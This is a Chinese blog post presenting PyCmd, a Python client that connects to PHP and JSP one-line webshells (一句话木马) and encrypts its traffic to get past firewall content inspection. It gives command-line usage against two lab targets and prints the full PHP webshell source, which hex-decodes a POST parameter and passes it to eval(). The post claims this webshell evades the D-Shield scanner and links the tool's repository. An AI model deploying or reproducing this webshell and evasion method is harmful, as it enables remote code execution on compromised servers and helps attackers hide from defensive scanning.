之前写了一个基于python的一句话木马客户端程序,这个程序的作用大致就是为了绕过防护设备,使敏感数据能在网络里自由穿梭。由于编程能力有限,当时以python程序作为客户端,php代码作为服务端,勉强能用,但是缺乏jsp的服务端,使之功能很局限。幸好有大神caomei相助,帮助实现了jsp端的代码,故将两者相结合,方便使用。

PyCmd适用环境

当服务器允许上传任意文件,且对文件内容不进行审计检查,但由于其网络边界有防火墙会拦截审计通信的数据。这时我们能成功上传一句话木马,然而连接菜刀的时候会出现500错误,此时可以使用pycmd工具,因为其会对互相通信的内容加密处理。

PyCmd使用

我这里准备了2个靶机,分别装有php与jsp的运行环境,用来模拟真实的网站服务器。

为了方便,我已经把服务端木马程序放到了服务器网站目录下:

php网站木马地址:10.0.3.13/test/p.php

jsp网站木马地址:192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp

查看shell的情况:

浅析PyCmd加密隐形木马

此时,运行PyCmd.py程序:

python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy]

或者

python PyCmd.py -u http://192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp -p test [--proxy]

浅析PyCmd加密隐形木马

程序会自动判断输入的网站类型,这里是jsp类型的网站。

运行程序可输入以下参数:

-h 查看帮助信息

-u 网站木马地址

-p 木马shell密码

–proxy 开启本地代理(方便调试)

注:当开启本地调试,需运行Fiddler程序,或者其他抓包软件。

PyCmd数据加密

PyCmd程序的长处在于它对往来的数据进行了加密,可以绕过防火墙对数据内容的校验。

当执行cmd命令时,通过Fiddler抓包查看数据:

浅析PyCmd加密隐形木马

查看回报信息:   

浅析PyCmd加密隐形木马

PyCmd木马隐身

用D盾扫描上传的木马服务端文件,显示为正常文件,成功躲过查杀(2016.9.18日检测结果)

这里演示php木马查杀:

<?php

$string=”;

$password=’test’;

if(isset($_POST[$password])){

$hex=$_POST[$password];

for($i=0;$i<strlen($hex)-1;$i+=2){

$string.=chr(hexdec($hex[$i].$hex[$i+1]));

}

@eval($string);

}else{

echo “This is a Test!”;

}

?>

PyCmd 加密隐形木马

工具下载

PyCmd 下载地址

项目地址:https://github.com/tengzhangchao/PyCmd

说明:绕过防火墙检测的方法很多,这里只是提供了一种思路,pycmd是我去年写的一款工具,最近打算完善其功能,代码已经开源。

原文连接:PyCmd 加密隐形木马

* 本文作者:nmask